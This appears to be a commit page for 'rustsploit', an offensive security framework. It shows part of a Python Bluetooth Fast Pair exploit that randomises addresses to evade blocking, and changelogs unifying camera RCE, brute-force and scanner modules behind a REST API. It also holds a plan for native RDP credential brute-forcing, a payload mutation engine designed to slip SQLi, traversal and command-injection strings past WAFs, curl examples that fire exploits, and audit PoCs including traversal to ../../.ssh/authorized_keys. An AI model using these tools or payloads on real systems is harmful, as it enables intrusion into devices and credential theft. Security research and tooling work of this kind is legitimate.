admin/s-b-repo-rustsploit
1
0
Fork 0
mirror of https://github.com/s-b-repo/rustsploit synced 2026-06-27 09:54:12 +00:00
Code Issues Packages Projects Releases Wiki Activity

api migrations and migration from legacy stuff and fixing shiz

Browse Source 
migrated away from free rdp lots of improvements there and created native libs feel free to use native libs but contribute  if you improve please add more wider api support and cli and shell payload mutator for api endpoint going to do that   for payloads gens and other stuff later and im also planning some more bug changes and improvement check the api template
This commit is contained in:
S.B
2026-03-19 17:35:15 +02:00
parent 219f0710eb
commit fb9ae7f3c2
52 changed files with 5904 additions and 2062 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+2 -4
View File
@@ -127,11 +127,9 @@ cargo build
### instant quick run command debian 13
```
sudo apt update -y && sudo apt upgrade -y && sudo apt install git wget curl -y && \
sudo apt install pkg-config libssl-dev freerdp2-x11 libdbus-1-dev -y && \
sudo apt update -y && sudo apt upgrade -y && sudo apt install git wget curl pkg-config libssl-dev rustc libdbus-1-dev -y && \
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && \
source $HOME/.cargo/env && \
rm -rf rustsploit && git clone https://github.com/s-b-repo/rustsploit.git && \
source $HOME/.cargo/env && git clone https://github.com/s-b-repo/rustsploit.git && \
cd rustsploit && CARGO_BUILD_JOBS=1 cargo run
```
changelogs/# --- Constants ---.txt
+100
View File
@@ -0,0 +1,100 @@
# --- Constants ---
return fmt_mac(chunk)
return None
async def exploit_device(self, address, strategy_index=None, log_callback=None):
def log(msg, type="info"):
if log_callback: log_callback(msg, type)
else: print(msg)
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
try:
async with BleakClient(address, timeout=20.0) as client:
log(f"Connected. Auth: {client.is_connected}", "success")
# Service Discovery
service = client.services.get_service(FAST_PAIR_UUID)
if not service:
for s in client.services:
if "fe2c" in str(s.uuid).lower():
service = s
break
if not service:
log("Fast Pair Service not found.", "error")
return False
# Model ID & Quirks
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
model_char = service.get_characteristic(MODEL_ID_UUID)
if model_char:
try:
mid_bytes = await client.read_gatt_char(model_char)
quirks = self._parse_model_id(mid_bytes)
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
except:
log("Could not read Model ID, using defaults.", "info")
# KBP Characteristic
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
if not kbp_char:
log("KBP Characteristic not found.", "error")
return False
# Apply Quirk Delay
if quirks["delay_before_kbp"] > 0:
await asyncio.sleep(quirks["delay_before_kbp"])
# Response Handling
response_event = asyncio.Event()
parsed_address = None
def notification_handler(sender, data):
nonlocal parsed_address
# Use robust parser
found = self._parse_kbp_response(data, current_secret)
if found:
parsed_address = found
log(f"Response Parsed! Real Address: {parsed_address}", "success")
else:
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
response_event.set()
await client.start_notify(kbp_char, notification_handler)
# Strategy Selection
strategies_to_try = []
if strategy_index is not None:
try:
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
except (ValueError, IndexError):
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
return False
else:
strategies_to_try = EXPLOIT_STRATEGIES
# CRITICAL FIX: Use the actual target device address as the Provider Address
# The device checks this to ensure the packet is meant for it.
try:
# Convert MAC string "AA:BB:..." to bytes
provider_addr = bytes(int(x, 16) for x in address.split(":"))
except ValueError:
log("Invalid MAC address format. Using dummy provider address.", "warning")
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
# Randomize Seeker Address for every attempt to evade caching/blocking
seeker_addr = secrets.token_bytes(6)
log(f"Target (Provider) Address: {address}", "info")
log(f"Strategies to try: {strategies_to_try}", "info")
success_strategy = None
current_secret = None
write_accepted_but_no_response = False
for strat in strategies_to_try:
log(f"Trying Strategy: {strat}...", "info")
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
current_secret = secret # For notification handler
changelogs/changelog-latest.md
+614
View File
@@ -12468,3 +12468,617 @@ test_servers.py
emulated services using creds/generic/ssh_bruteforce. All modes function perfectly according to spec.
Camera & Bruteforce Module API/CLI Unification — Walkthrough
What Was Done
All 6 camera exploit modules and 2 bruteforce modules were updated to use the cfg_prompt_* wrapper functions, giving them full API compatibility without changing any interactive CLI/shell behavior.
How cfg_prompt_* works
In CLI/shell mode → falls back to interactive stdin prompts (exactly as before)
In API mode → reads values from the "prompts": {} field in the request JSON; uses defaults for optional fields; returns an error for missing required fields
Camera Modules Changed
Module File Raw calls replaced
ACTi ACM-5611 RCE
exploits/cameras/acti/acm_5611_rce.rs
prompt_port
,
prompt_yes_no
,
prompt_default
, io::stdin
AVTech CVE-2024-7029
exploits/cameras/avtech/cve_2024_7029_avtech_camera.rs
prompt_port
, io::stdin exclusion prompt
Hikvision CVE-2021-36260
exploits/cameras/hikvision/hikvision_rce_cve_2021_36260.rs
All 7 io::stdin().read_line() calls in
run()
and
run_mass_scan()
ABUS CVE-2023-26609
exploits/cameras/abus/abussecurity_camera_cve202326609variant1.rs
All 8 io::stdin().read_line() calls in
execute()
and
run_mass_scan()
Reolink CVE-2019-11001
exploits/cameras/reolink/reolink_rce_cve_2019_11001.rs
prompt_required
,
prompt_default
Uniview NVR Pwd Disclosure
exploits/cameras/uniview/uniview_nvr_pwd_disclosure.rs
Added
cfg_prompt_output_file
(was hardcoded)
Prompt key names for camera modules
ACTi: port, command, exclude_ranges, output_file, concurrency
AVTech: port, exclude_ranges
Hikvision: mode, command, confirm_reboot, exclude_ranges, output_file, scan_mode, custom_payload
ABUS: mode, filepath, command, password, exclude_ranges, output_file, scan_mode, custom_command
Reolink: target (fallback), username, password, command
Uniview: output_file
Note:
interactive_shell()
(avtech) and
interactive_mode()
(hikvision mode 5) keep raw io::stdin intentionally — they're post-exploitation live shells only reachable in CLI mode.
Bruteforce Modules Fixed
Module Change
creds/generic/ftp_anonymous.rs
Replaced
prompt_int_range
,
prompt_yes_no
(×2),
prompt_output_file
with cfg_prompt_* equivalents
creds/camxploit/camxploit.rs
Replaced
prompt_int
,
prompt_default
in
run_mass_scan()
with
cfg_prompt_int_range
,
cfg_prompt_output_file
All other bruteforce modules (
ssh
, ftp, smtp, pop3, mqtt, snmp,
rtsp
, telnet, rdp,
fortinet
, l2tp, etc.) were audited and already used cfg_prompt_* throughout — no changes needed.
Build Result
cargo build
Finished `dev` profile [unoptimized + debuginfo] target(s) in 41.13s
Zero errors. 2 dead-code warnings for
prompt_int
/
prompt_output_file
in
utils.rs
(pre-existing, not caused by these changes — those functions are kept for forward compatibility).
Verification: No Raw Prompts in Camera Modules
bash
grep -rn "prompt_port\|prompt_default\|prompt_required\|prompt_yes_no\|prompt_int_range\|prompt_output_file\|io::stdin\|\.read_line" \
src/modules/exploits/cameras/ \
src/modules/creds/generic/ftp_anonymous.rs \
src/modules/creds/camxploit/camxploit.rs \
| grep -v cfg_prompt
Remaining hits:
avtech/cve_2024_7029_avtech_camera.rs:60 —
interactive_shell()
stdin loop (CLI-only post-exploit)
hikvision/hikvision_rce_cve_2021_36260.rs:256 —
interactive_mode()
stdin loop (CLI-only mode 5)
Both are intentional — they are live interactive shell loops that can only be used at a terminal.
API Template Commands
All new camera module API templates were appended to:
template-api-commands.txt
(now 750 lines — entries 12–19)
Existing bruteforce templates (entries 1–11) were not modified.
All done. Here's a summary:
✅ cargo build — zero errors
What changed
6 camera exploit modules — all raw prompt_* / io::stdin() calls replaced with cfg_prompt_* wrappers:
acti/acm_5611_rce.rs — port, command, exclude_ranges, output_file, concurrency
avtech/cve_2024_7029_avtech_camera.rs — port, exclude_ranges
hikvision/hikvision_rce_cve_2021_36260.rs — mode, command, scan_mode, custom_payload, etc.
abus/abussecurity_camera_cve202326609variant1.rs — mode, filepath/command/password, scan_mode, etc.
reolink/reolink_rce_cve_2019_11001.rs — username, password, command
uniview/uniview_nvr_pwd_disclosure.rs — output_file (was hardcoded)
2 bruteforce modules fixed:
ftp_anonymous.rs — concurrency, verbose, output_file, use_exclusions
camxploit/camxploit.rs — concurrency, output_file
All other bruteforce modules were already correct.
Interactive shells kept as-is: The avtech + hikvision live-shell loops still read stdin directly — they're post-exploit CLI tools, not reachable in API mode.
template-api-commands.txt — grew from 472 → 750 lines: new entries 12–19 cover all camera modules. Existing entries 1–11 (bruteforce) untouched.
Finalizing Wiki Docs
All 16 wiki pages written and verified, README.md updated, old docs/readme.md is a clean redirect stub. Proxy system accurately removed from all docs — only intentional references remain (changelog note, VPN recommendation).
Files Edited
Progress Updates
1
Cleaning up old docs/readme.md and verifying all files are correct
2
Verifying all wiki files exist and are internally consistent
3
Notifying user of completion
Done. The docs/ folder is now a full GitHub wiki with 16 categorized files:
File What's in it
Home.md Index / navigation hub
Getting-Started.md Install, build, Docker (no proxy mentions)
Interactive-Shell.md Command palette, chaining, target normalization, honeypot detection
CLI-Reference.md All flags, examples, error hints
API-Server.md Startup flags, all endpoints, rate limiting, hardening
API-Usage-Examples.md Practical curl workflows including new modules
Module-Catalog.md Full module list — all new modules from changelog included (n8n, MongoBleed, FortiWeb, Hikvision, NginxPwner, telnet_hose, Ruijie ×7, etc.)
Module-Development.md build.rs lifecycle, skeleton, 0.0.0.0/0 mass-scan pattern
Security-Validation.md Constants table, security patterns, EXCLUDED_RANGES
Credential-Modules-Guide.md Best practices + per-module notes (telnet_hose state machine, streaming RDP, MQTT 3.1.1, etc.)
Exploit-Modules-Guide.md Best practices + per-module notes (n8n payloads, MongoBleed, FortiWeb chain, NginxPwner checks)
Utilities-Helpers.md Full utils.rs public API — normalize_target, prompt helpers, honeypot check
Testing-QA.md cargo check/fmt/test, smoke tests, regression checklist
Changelog.md Summary of all recent changes including dependency upgrades
Contributing.md Fork workflow, code style, mass-scan checklist
Credits.md Authors, key crates, license
Proxy system: confirmed fully removed from all docs. The only references remaining are an explicit "no built-in proxy" note in the README and a VPN recommendation — no framework proxy commands anywhere.
API Security Audit — Findings & Patches
File:
src/api.rs
| Build: ✅ cargo check 0 errors after patches
Findings
🔴 CRITICAL: SSRF via Incomplete Private-Range Block
Location:
is_blocked_target()
(line ~168)
Bug: The original function only blocked 169.254.0.0/16 and 0.0.0.0. An attacker with a valid API key could target any RFC-1918 address, loopback (127.x), or localhost to make the server fire scans/exploits at internal infrastructure.
PoC:
bash
# Scan the server's own loopback \u2014 was allowed pre-patch
curl -X POST -H "Authorization: Bearer key" -H "Content-Type: application/json" \
-d '{"module":"scanners/port_scanner","target":"127.0.0.1"}' \
http://localhost:8080/api/run
# RFC-1918 pivot to internal network
curl -X POST ... -d '{"module":"exploits/heartbleed","target":"192.168.1.1"}' ...
# Named localhost bypass
curl -X POST ... -d '{"module":"scanners/port_scanner","target":"localhost"}' ...
Fix: Rewrote
is_blocked_target
to block:
localhost (name check)
127.0.0.0/8 (loopback)
0.0.0.0 (unspecified)
169.254.0.0/16 (link-local / metadata)
10.0.0.0/8 (RFC-1918)
172.16.0.0/12 (RFC-1918)
192.168.0.0/16 (RFC-1918)
100.64.0.0/10 (carrier-grade NAT)
IPv6 loopback (::1), unspecified, link-local (fe80::/10), ULA (fc00::/7)
Raw-string fallback for unparsed hosts
🔴 CRITICAL: Shell
run
/run_all Bypass SSRF Guard
Location:
shell_command()
— "run" and "run_all" arms (~line 1251/1300)
Bug: The /api/shell endpoint accepted run <target> or run_all <target> with an inline target that was never passed through
is_blocked_target()
. Even after the function was improved, these paths were still completely unguarded.
PoC:
bash
curl -X POST -H "Authorization: Bearer key" -H "Content-Type: application/json" \
-d '{"commands":["use scanners/port_scanner","run 127.0.0.1"]}' \
http://localhost:8080/api/shell
Fix: Added
is_blocked_target
+
validate_target
guard immediately after target resolution in both "run" and "run_all" arms.
🟠 HIGH: output_file Path Traversal
Location:
run_module()
, RunModuleRequest.output_file (~line 500)
Bug: The output_file field was injected verbatim into custom_prompts with no validation. A ..-based path or absolute path would let an attacker write module results to arbitrary filesystem locations (e.g., ../../.ssh/authorized_keys).
PoC:
bash
curl -X POST -H "Authorization: Bearer key" -H "Content-Type: application/json" \
-d '{"module":"scanners/port_scanner","target":"8.8.8.8","output_file":"../../.ssh/authorized_keys"}' \
http://localhost:8080/api/run
Fix: Added explicit check before inject — rejects any output_file containing .., /, \, or \0.
🟠 HIGH: API Key Exposed in Plaintext Logs
Location:
start_api_server()
(~line 1397)
Bug: println!("🔑 API key: {}", api_key) printed the full secret key to stdout on startup. Anyone with access to process stdout, container logs, or a log shipper would see the key.
Fix: Now prints a masked form: first 4 chars, last 2 chars, and total length — e.g., myse...et (32 chars).
🟡 MEDIUM: Rate Limiter Unbounded Memory Growth
Location:
auth_middleware()
(~line 210)
Bug: rate_limiter is a HashMap<IpAddr, (u32, Instant)>. There was no eviction of old entries. A sustained scan from many unique IPs would grow the HashMap indefinitely, eventually exhausting heap memory.
Fix: Added a pruning step at 10,000 entries — removes all IPs whose window started more than 60 seconds ago.
Attack Surface Notes (No Bug, Worth Knowing)
Surface Status
Module name validation ✅ Strict allowlist [a-z0-9/_-], max 256 chars
validate_module_name
+ dispatcher ✅ Only registered modules can be executed
/api/results/{filename} ✅ ASCII-only,
.txt
required, symlink rejection, canonicalize() escape check
Auth constant-time comparison ✅ subtle::ConstantTimeEq prevents timing attacks
Request body size ✅ 1 MB hard limit via RequestBodyLimitLayer
Shell metacharacter injection in /api/shell ✅
contains_shell_metacharacters()
rejects `&
/api/module/{category}/{name} path params ✅ Only checked against in-memory module list; no filesystem access
Patches Summary
# Severity File Lines Fix
1 Critical
api.rs
168-198 Rewrote
is_blocked_target
— full RFC-1918 + loopback + localhost + IPv6
2 Critical
api.rs
1261-1296 SSRF guard on shell
run
inline target
3 Critical
api.rs
1300-1333 SSRF guard on shell run_all inline target
4 High
api.rs
500-513 output_file path-traversal validation before prompt injection
5 High
api.rs
1397-1399 API key masked in startup log
6 Medium
api.rs
210-234 Rate limiter pruning to prevent memory exhaustion
Unified Scanner Module API/Shell/CLI Support
Summary
Converted all 14 scanner modules to use cfg_prompt_* functions for unified prompt handling across API, shell, and CLI execution environments. Local prompt functions were preserved per user request.
Changes Made
New utility:
cfg_prompt_wordlist
in
utils.rs
Config-aware wordlist prompt that checks ModuleConfig.custom_prompts first, or falls back to interactive
prompt_wordlist()
.
Scanner modules converted (14 total)
Module Key Changes
sample_scanner.rs
Local prompts →
cfg_prompt_default
,
cfg_prompt_yes_no
ssdp_msearch.rs
Local prompts → cfg_prompt_*
port_scanner.rs
prompt_settings()
refactored to cfg_prompt_*
http_title_scanner.rs
+
parse_ports_from_string
helper
http_method_scanner.rs
+
parse_ports_from_string
helper
ssh_scanner.rs
Added
cfg_prompt_output_file
for save
dns_recursion.rs
prompt_default
→
cfg_prompt_default
,
prompt_port
→
cfg_prompt_port
sequential_fuzzer.rs
10 prompt calls converted
api_endpoint_scanner.rs
9 prompt calls + injection config
ipmi_enum_exploit.rs
8 prompt calls converted
smtp_user_enum.rs
7 prompt calls + report saving
ping_sweep.rs
15 prompt calls + ping method config
dir_brute.rs
18 prompt calls converted
stalkroute_full_traceroute.rs No prompts — no changes needed
Prompt key documentation in
config.rs
Added 69-line doc comment on
ModuleConfig
documenting all common and per-module prompt keys.
API template examples in
template-api-commands.txt
Added examples #20–#32 covering all scanner modules with documented prompt keys per module.
Verification
cargo build → ✅ Success (37 warnings, 0 errors)
Warnings are from preserved local prompt functions (intentionally kept per user request — they remain available for potential future direct-call use).
Verifying Clean Build
Removed all 37 dead local prompt functions from 9 files and cleaned up 4 orphaned imports. cargo check now passes with 0 warnings, 0 errors. All scanner modules use cfg_prompt_* from
utils.rs
exclusively — same pattern as bruteforce modules.
Files Edited
Progress Updates
1
Running cargo check to verify zero warnings and zero errors
2
Cleaning up 4 remaining unused imports, then final build check
3
Fixing duplicate imports introduced by cleanup, then rebuilding
4
Fixing last duplicate import in smtp_user_enum.rs, then running final cargo check
5
Build complete — 0 warnings, 0 errors
All done — cargo check passes with 0 warnings, 0 errors.
Removed all 37 dead local prompt functions from 9 files:
sample_scanner.rs — 3 functions removed
ssdp_msearch.rs — 6 functions removed
port_scanner.rs — 3 functions removed
http_title_scanner.rs — 5 functions removed
http_method_scanner.rs — 4 functions removed
ssh_scanner.rs — 3 functions removed
smtp_user_enum.rs — 6 functions removed
ping_sweep.rs — 5 functions removed
utils.rs — 2 functions removed (prompt_int, prompt_output_file)
Also cleaned up 4 orphaned imports left behind. All scanner modules now use cfg_prompt_* from utils.rs exclusively — same clean pattern as the bruteforce modules.
All interactive flows preserved via cfg_prompt_* (API + shell + CLI):
SSDP — search target menu (4 options: rootdevice/all/custom/both) at line 59 using cfg_prompt_default
Port Scanner — full prompt_settings() with port range selection, scan method, TTL, source port, data padding — all wired with cfg_prompt_*
Ping Sweep — manual targets, file loading, ICMP/TCP/SYN/ACK method selection with port config, save up/down hosts
Sample Scanner — timeout, HTTP/HTTPS checks, verbose, save results
HTTP Title/Method — target lists, scheme selection, port tunneling, timeout, verbose, save
SSH Scanner — port, additional targets, file loading, threads, timeout, save
SMTP User Enum — mode selection, port, wordlist, threads, timeout, save valid/unknown
Dir Brute — scan mode, HTTPS, port, base path, wordlist, delay, cookies, templates
Sequential Fuzzer — mode, min/max length, charset, encoding, cookies, templates
API Endpoint Scanner — spoofing, generic payloads, methods, endpoint sources
IPMI Enum/Exploit — mode, target, port, cipher zero, anonymous, default creds, RAKP hash
Deleted from utils.rs: prompt_int and prompt_output_file — grep confirmed zero callers anywhere in the codebase. Their functionality is fully covered by cfg_prompt_int_range and cfg_prompt_output_file.
Build: cargo check ✅ — 0 warnings, 0 errors.
Deleted from utils.rs: prompt_int and prompt_output_file — grep confirmed zero callers anywhere in the codebase. Their functionality is fully covered by cfg_prompt_int_range and cfg_prompt_output_file.
Build: cargo check ✅ — 0 warnings, 0 errors
Migrate RDP Brute Force from FreeRDP2 to Native Rust
Problem
rdp_bruteforce.rs
shells out to
xfreerdp
/
rdesktop
external CLI tools. This is fragile:
Requires freerdp2/rdesktop installed on the system
Version-specific exit codes (xfreerdp2 vs xfreerdp3)
Process spawning overhead (~50ms per attempt) limits throughput
Each attempt spawns+kills a full process
Proposed Solution
Replace CLI shelling with native TCP RDP authentication using raw protocol negotiation. The approach:
TCP connect to target RDP port
Send X.224 Connection Request with protocol negotiation (requesting NLA/TLS/RDP)
Read X.224 Connection Confirm to determine supported security
For TLS/NLA: Upgrade to TLS → attempt CredSSP NTLM authentication
For Standard RDP: Attempt RDP Security encryption handshake
Determine auth success/failure from the server's response
This eliminates all external dependencies and is 10-50x faster.
Proposed Changes
Dependencies
[MODIFY]
Cargo.toml
Add ntlm-rs = "0.3" or implement NTLM inline (NTLMSSP for CredSSP)
tokio-rustls already in deps (line 28) — reuse for TLS upgrade
No new heavy dependencies needed
Core Module
[MODIFY]
rdp_bruteforce.rs
Replace
try_rdp_login_xfreerdp
and
try_rdp_login_rdesktop
with:
rust
async fn try_rdp_login_native(addr, user, pass, timeout, security_level) -> Result<bool>
Implementation steps:
TcpStream::connect with timeout
Send X.224 Connection Request PDU (RDP negotiation request)
Parse X.224 Connection Confirm (get selected protocol: RDP/TLS/NLA)
If TLS/NLA: wrap stream in TLS → send CredSSP NTLM Type1 → process Type2 challenge → send Type3 auth
Check server's auth response: success = valid creds, auth failure = wrong creds, error = connection issue
What stays the same:
All 3 modes (single, subnet, mass) — untouched
All prompt/config logic — already uses cfg_prompt_*
RdpError enum and
classify_rdp_error
— updated for native errors
RdpSecurityLevel — maps to protocol negotiation flags instead of CLI flags
Statistics, progress, output — unchanged
sanitize_rdp_argument
— removed (no CLI args to sanitize)
Remove:
try_rdp_login_xfreerdp
(~100 lines)
try_rdp_login_rdesktop
(~100 lines)
which xfreerdp/which rdesktop checks
sanitize_rdp_argument
function
as_xfreerdp_arg
/
as_rdesktop_arg
methods
Add:
try_rdp_login_native (~150 lines) — native TCP+TLS+NTLM auth
RDP protocol constants (X.224 PDU types, negotiation flags)
build_x224_connection_request helper
parse_x224_connection_confirm helper
perform_credssp_auth — NTLM over CredSSP/TLS
build_ntlm_negotiate / build_ntlm_authenticate helpers
Update:
try_rdp_login
— remove tool availability check, call native directly
RdpSecurityLevel — remove CLI arg methods, add protocol negotiation flags
Banner — remove "Requires xfreerdp or rdesktop" line
RdpError::ToolNotFound — removed (no external tools needed)
Verification Plan
Automated Tests
bash
cargo check # Zero warnings, zero errors
cargo run # Verify it starts
Manual Verification
Test against a known RDP target with valid/invalid credentials
Verify all 3 modes work (single, subnet, mass)
Verify API mode works via template commands
Migration complete — cargo check passes with 0 warnings, 0 errors.
What changed:
Created src/native/rdp.rs — pure Rust RDP authentication (X.224 → TLS → CredSSP/NTLM)
rdp_bruteforce.rs now calls crate::native::rdp::try_login — no more xfreerdp/rdesktop dependency
Removed ~250 lines of CLI process spawning, replaced with 15-line native wrapper
src/native/ folder established for future native protocol implementations
No #[allow(dead_code)] anywhere — every item is genuinely used
Banner updated: "Native TCP + TLS + CredSSP/NTLM Authentication"
All 3 modes preserved: single target, subnet scan, mass scan — all with full API/shell/CLI support via cfg_prompt_*.
Dynamic Payload Mutation Engine for API Endpoint Scanner
Problem
Current scanner uses static payload arrays — every user gets the same payloads. WAFs and filters easily signature-match them. No evasion, no adaptation.
Solution
Add a mutation engine that takes seed payloads and dynamically generates mutated variants using composable mutation strategies. Each generation applies random combinations of mutations, producing unique payloads every scan.
Mutation Strategies
# Strategy Example Input → Output
1 URL Encode ' OR 1=1 → %27%20OR%201%3D1
2 Double URL Encode ' → %2527
3 Case Toggle OR 1=1 → oR 1=1, Or 1=1
4 Comment Inject (SQL) UNION SELECT → UNI/**/ON SEL/**/ECT
5 Whitespace Swap OR 1=1 → OR\t1=1, OR%0a1=1
6 Concat/Split (SQL) admin → ad'+'min, CONCAT('ad','min')
7 Null Byte ../../etc/passwd → ../../etc/passwd%00
8 Unicode Homoglyph ../ → ．．／
9 Boundary Wrap ; id → %0a; id, \n; id
Proposed Changes
Mutation Engine (new file in native libs)
[NEW]
payload_mutator.rs
Core mutation engine with:
MutationStrategy enum (all 9 strategies above)
PayloadMutator struct — holds config (max generations, mutations per payload)
mutate(seed: &str, category: PayloadCategory) -> Vec<String> — generates mutated variants
PayloadCategory enum (SQLi, NoSQLi, CMDi, Traversal) — applies category-specific mutations
Each seed → N mutated variants per generation (configurable, default 5)
Scanner Integration
[MODIFY]
api_endpoint_scanner.rs
Add MutatedPayloads module option (menu item 7)
Add enable_mutations prompt (yes/no) when any injection module is selected
When enabled: for each seed payload, generate N mutations before sending
Add mutation_depth prompt (1-5, default 2) — how many mutation passes
Add mutations_per_seed prompt (1-20, default 5) — variants per seed payload
Update
ScanConfig
with mutation settings
Update
perform_injection
to optionally run payloads through mutator first
[MODIFY]
mod.rs
Register payload_mutator module
Verification Plan
Automated Tests
bash
cargo check # Zero warnings, zero errors
Manual Verification
Run scanner with mutations enabled, verify unique payloads in output logs
Compare mutation output diversity across runs
docs/API-Server.md
+144
View File
@@ -0,0 +1,144 @@
# API Server
Rustsploit includes a built-in REST API server (`src/api.rs`) that enables remote control via HTTP. It features authentication, rate limiting, IP tracking, hardening mode, and structured logging.
---
## Starting the API Server
```bash
# Basic (defaults to 0.0.0.0:8080)
cargo run -- --api --api-key your-secret-key-here
# With hardening (auto-rotate key on suspicious activity)
cargo run -- --api --api-key your-secret-key-here --harden
# Custom interface, port, and IP limit
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1:8443 --ip-limit 5
```
---
## API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--api-key <key>` | Authentication key (printable ASCII, max 256 chars) | Yes |
| `--harden` | Enable hardening (auto-rotate key, IP tracking) | No |
| `--interface <addr:port>` | Bind address (default: `0.0.0.0:8080`) | No |
| `--ip-limit <n>` | Unique IPs before key rotation (default: 10, requires `--harden`) | No |
---
## Authentication
All endpoints except `/health` require the `Authorization` header:
```bash
# Bearer token format
Authorization: Bearer your-api-key-here
# ApiKey format (equivalent)
Authorization: ApiKey your-api-key-here
```
---
## Endpoints
### Public
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/health` | Health check — no auth required |
### Protected
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/modules` | List all available modules |
| `GET` | `/api/module/:category/:name` | Get details for a specific module |
| `POST` | `/api/run` | Execute a module on a target |
| `POST` | `/api/validate` | Validate parameters without execution |
| `GET` | `/api/status` | Server status and statistics |
| `POST` | `/api/rotate-key` | Manually rotate the API key |
| `GET` | `/api/ips` | All tracked IP addresses with details |
| `GET` | `/api/auth-failures` | Authentication failure statistics |
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
---
## Security Features
### Input Validation
| Check | Detail |
|-------|--------|
| Request body limit | Max 1 MB (prevents DoS) |
| API key validation | Must be printable ASCII, max 256 chars |
| Target validation | Length check, control char rejection, path traversal prevention |
| Module path sanitization | Validated against injection and traversal attacks |
| Resource limits | Auto-cleanup when tracked IPs or auth failures exceed 100,000 entries |
### Rate Limiting
- **3 failed auth attempts** → IP blocked for **30 seconds**
- Blocked IPs receive HTTP `429 Too Many Requests`
- Failure counter resets automatically after the block expires
- Successful auth resets the failure counter for that IP
- Expired blocks and entries older than **1 hour** are auto-pruned
### Hardening Mode (`--harden`)
- Tracks unique IP addresses accessing the API
- Auto-rotates the API key when unique IPs exceed `--ip-limit` (default: 10)
- All rotation events logged to terminal and `rustsploit_api.log`
- IP tracking cleared after key rotation
- Tracker auto-pruned at 100,000 entries
---
## Logging
All activity is logged to:
- **Terminal** — real-time colored output
- **`rustsploit_api.log`** — in the current working directory
Logged events include:
- API requests and responses
- Authentication failures and rate limit triggers
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
---
## Module Config Example (Telnet)
```json
{
"port": 23,
"username_wordlist": "usernames.txt",
"password_wordlist": "passwords.txt",
"threads": 10,
"delay_ms": 50,
"connection_timeout": 3,
"read_timeout": 1,
"stop_on_success": true,
"verbose": false,
"full_combo": true,
"raw_bruteforce": false,
"output_file": "results.txt",
"append_mode": false,
"pre_validate": true,
"retry_on_error": true,
"max_retries": 2,
"login_prompts": ["login:", "username:"],
"password_prompts": ["password:"],
"success_indicators": ["$", "#", "welcome"],
"failure_indicators": ["incorrect", "failed"]
}
```
docs/API-Usage-Examples.md
+194
View File
@@ -0,0 +1,194 @@
# API Usage Examples
Practical `curl` workflows for interacting with the Rustsploit REST API.
> Start the server first: `cargo run -- --api --api-key my-secret-key --harden`
---
## Health Check (No Auth)
```bash
curl http://localhost:8080/health
```
**Response:**
```json
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
```
---
## List Available Modules
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/modules
```
**Response (truncated):**
```json
{
"modules": [
"exploits/heartbleed",
"exploits/mongo/mongobleed",
"scanners/port_scanner",
"scanners/dir_brute",
"creds/generic/ssh_bruteforce"
],
"count": 120,
"request_id": "abc123",
"timestamp": "2026-03-17T14:01:00Z",
"duration_ms": 2
}
```
---
## Get Module Details
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/module/exploits/sample_exploit
```
---
## Validate Parameters (Dry Run)
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/validate
```
---
## Run a Port Scan
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
```
---
## Run an Exploit
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "exploits/heartbleed", "target": "10.10.10.10"}' \
http://localhost:8080/api/run
```
---
## Run a Credential Module
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "creds/generic/ssh_bruteforce", "target": "10.10.10.10"}' \
http://localhost:8080/api/run
```
---
## Run MongoBleed (CVE-2025-14847)
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "exploits/mongo/mongobleed", "target": "10.10.10.10:27017"}' \
http://localhost:8080/api/run
```
---
## Check Server Status & Statistics
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/status
```
**Response:**
```json
{
"uptime_seconds": 3600,
"requests_total": 142,
"auth_failures": 3,
"tracked_ips": 2,
"hardening_enabled": true,
"ip_limit": 5,
"request_id": "def456",
"timestamp": "2026-03-17T15:00:00Z",
"duration_ms": 1
}
```
---
## View Tracked IPs
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/ips
```
---
## View Auth Failure Stats
```bash
curl -H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/auth-failures
```
---
## Manually Rotate API Key
```bash
curl -X POST \
-H "Authorization: Bearer my-secret-key" \
http://localhost:8080/api/rotate-key
```
The response includes the **new key** — store it immediately as the old key is invalidated.
---
## Full Workflow Cheatsheet
```bash
# 1. Start server
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
# 2. Health check
curl http://localhost:8080/health
# 3. List modules
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
# 4. Port scan
curl -X POST -H "Authorization: Bearer my-secret-key" \
-H "Content-Type: application/json" \
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
http://localhost:8080/api/run
# 5. Check status
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
# 6. View IPs
